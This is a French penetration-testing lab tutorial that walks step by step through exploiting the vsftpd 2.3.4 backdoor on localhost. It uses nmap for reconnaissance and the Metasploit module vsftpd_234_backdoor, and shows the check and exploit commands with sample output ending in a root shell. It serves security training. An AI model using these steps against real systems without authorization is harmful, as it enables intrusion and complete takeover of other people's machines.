Introduction
Dans ce laboratoire, vous endosserez le rôle d'un testeur d'intrusion et apprendrez à utiliser le Metasploit Framework pour exploiter une vulnérabilité connue dans un service courant. Plus précisément, vous ciblerez le vsftpd (Very Secure FTP Daemon) version 2.3.4, qui contient une célèbre porte dérobée (backdoor).
Metasploit est un puissant framework open-source de test d'intrusion qui simplifie le piratage. C'est un outil essentiel pour les professionnels de la sécurité. Vous suivrez le processus standard de test d'intrusion : scanner la cible pour identifier les services, trouver un exploit approprié, le configurer et lancer l'attaque pour prendre le contrôle du système cible. Pour ce laboratoire, votre machine cible sera l'environnement local (localhost).
Identification d'un service vsftpd vulnérable
Dans cette étape, vous allez effectuer la reconnaissance, la première phase de tout test d'intrusion. L'objectif est de scanner la cible pour découvrir les ports ouverts et identifier les versions des services qui s'exécutent sur ces ports. Ces informations sont cruciales pour trouver des vulnérabilités potentielles. Nous utiliserons nmap, un puissant outil de scan réseau, à cette fin.
Tout d'abord, ouvrez un terminal. Nous allons scanner notre machine locale, qui sert de cible. L'adresse IP de la machine locale est 127.0.0.1.
Exécutez la commande nmap suivante pour effectuer un scan de version de service (-sV) sur la cible :
nmap -sV 127.0.0.1
Une fois le scan terminé, nmap rapportera les ports ouverts et les services qu'il a identifiés. Pour ce laboratoire, nous nous intéressons au service FTP fonctionnant sur le port 21.
Votre sortie devrait ressembler à ceci. Notez les informations de version pour le service FTP.
Starting Nmap 7.80 ( https://nmap.org ) at ...
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0001s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in ... seconds
La sortie montre clairement que vsftpd 2.3.4 s'exécute sur le port 21. Cette version spécifique est largement connue pour contenir une porte dérobée (backdoor), ce qui en fait une cible idéale pour notre exploit.
Sélection du module d'exploit vsftpd_234_backdoor
Dans cette étape, vous allez lancer le Metasploit Framework et trouver le module d'exploit correct pour attaquer le service vsftpd 2.3.4.
Tout d'abord, démarrez la console Metasploit. Nous utilisons l'option -q (quiet) pour ignorer la bannière et démarrer plus rapidement.
msfconsole -q
Une fois Metasploit chargé, vous verrez l'invite msf6 >. Vous pouvez maintenant rechercher des exploits liés à vsftpd. Utilisez la commande search :
search vsftpd
Metasploit affichera une liste des modules correspondants. Vous devriez voir un exploit spécifiquement pour la porte dérobée (backdoor) dans vsftpd 2.3.4.
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent Yes VSFTPD v2.3.4 Backdoor Command Execution
1 auxiliary/scanner/ftp/ftp_version normal No FTP Version Scanner
Le module exploit/unix/ftp/vsftpd_234_backdoor est exactement ce dont nous avons besoin. Il est classé "excellent", ce qui signifie qu'il est très fiable. Pour charger ce module, utilisez la commande use suivie du nom complet du module ou de son numéro dans les résultats de la recherche.
use exploit/unix/ftp/vsftpd_234_backdoor
Après avoir exécuté la commande, votre invite changera en msf6 exploit(unix/ftp/vsftpd_234_backdoor) >, indiquant que le module d'exploit est maintenant actif.
Définir l'option RHOSTS sur l'adresse IP de la cible
Dans cette étape, vous allez configurer le module d'exploit. La plupart des modules nécessitent que vous définissiez des options, telles que l'adresse IP de la cible.
Avec le module vsftpd_234_backdoor chargé, vous pouvez afficher ses options en utilisant la commande show options.
show options
Cette commande affichera un tableau de toutes les options disponibles pour ce module, leurs paramètres actuels et s'ils sont requis.
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic
Comme vous pouvez le voir, RHOSTS (Remote Hosts) est requis, mais aucune valeur n'est définie. Vous devez définir cette option sur l'adresse IP de notre machine cible, qui est 127.0.0.1.
Utilisez la commande set pour configurer l'option RHOSTS :
set RHOSTS 127.0.0.1
Pour confirmer que l'option a été correctement définie, vous pouvez exécuter à nouveau show options. Vous verrez que RHOSTS a maintenant la valeur 127.0.0.1.
Utiliser la commande check pour vérifier si la cible est vulnérable
Dans cette étape, vous allez utiliser un moyen sûr de tester si la cible est réellement vulnérable à l'exploit sélectionné. Metasploit fournit une commande check pour de nombreux modules, qui vous permet de vérifier la vulnérabilité sans lancer une attaque complète. Ceci est utile pour éviter la détection et les plantages système.
Maintenant que le module d'exploit est configuré avec l'adresse IP de la cible, exécutez simplement la commande check :
check
Metasploit tentera de sonder le service cible pour déterminer si la porte dérobée (backdoor) existe. Si la cible est vulnérable, vous verrez un message de confirmation.
[+] 127.0.0.1:21 - The target is vulnerable.
Le message [+] The target is vulnerable. confirme que le service vsftpd sur 127.0.0.1 possède la porte dérobée. Vous êtes maintenant prêt à lancer l'exploit. Si la cible n'était pas vulnérable, il serait généralement indiqué que la cible n'est pas exploitable.
Exécuter l'exploit et obtenir un shell de commande
Dans cette étape, vous allez exécuter l'exploit pour obtenir un accès non autorisé au système cible. Étant donné que la commande check a confirmé que la cible est vulnérable, l'exploit devrait réussir.
La commande pour lancer l'attaque est exploit. Vous pouvez également utiliser son alias, run.
exploit
Metasploit va maintenant envoyer la charge utile malveillante au service vsftpd. La porte dérobée sera déclenchée, ouvrant un shell de commande sur un port différent (port 6200 dans ce cas). Metasploit se connectera à ce nouveau shell, vous donnant un accès direct en ligne de commande à la cible.
La sortie ressemblera à ceci :
[*] 127.0.0.1:21 - Found the backdoor service on port 6200!
[*] 127.0.0.1:21 - Sending trigger...
[*] Command shell session 1 opened (127.0.0.1:38974 -> 127.0.0.1:6200) at 2023-10-27 10:30:00 -0400
Vous disposez maintenant d'un shell de commande sur la machine cible ! Notez que l'invite a disparu. Vous pouvez maintenant exécuter des commandes comme si vous étiez connecté directement à la cible. Vérifions notre niveau d'accès en exécutant la commande whoami.
whoami
La sortie devrait être :
root
Cela confirme que vous avez obtenu un shell root, vous donnant un contrôle complet sur le système cible. Pour quitter le shell et revenir à l'invite Metasploit, tapez exit.
Résumé
Félicitations pour avoir terminé avec succès ce laboratoire ! Vous avez appris le flux de travail fondamental d'un test d'intrusion en utilisant le Metasploit Framework.
Dans ce laboratoire, vous avez :
- Utilisé
nmappour effectuer une reconnaissance et identifier un servicevsftpd 2.3.4vulnérable. - Lancé la console Metasploit et recherché un exploit pertinent.
- Sélectionné et configuré le module d'exploit
vsftpd_234_backdooren définissant l'optionRHOSTS. - Vérifié en toute sécurité la vulnérabilité de la cible à l'aide de la commande
check. - Exécuté la commande
exploitpour obtenir un shell de commande de niveau root sur le système cible.
Cet exercice démontre comment une vulnérabilité simple et non corrigée peut entraîner un compromis complet du système. Il souligne l'importance de maintenir les logiciels à jour et la puissance d'outils tels que Metasploit, tant pour les hackers éthiques que pour les attaquants malveillants.


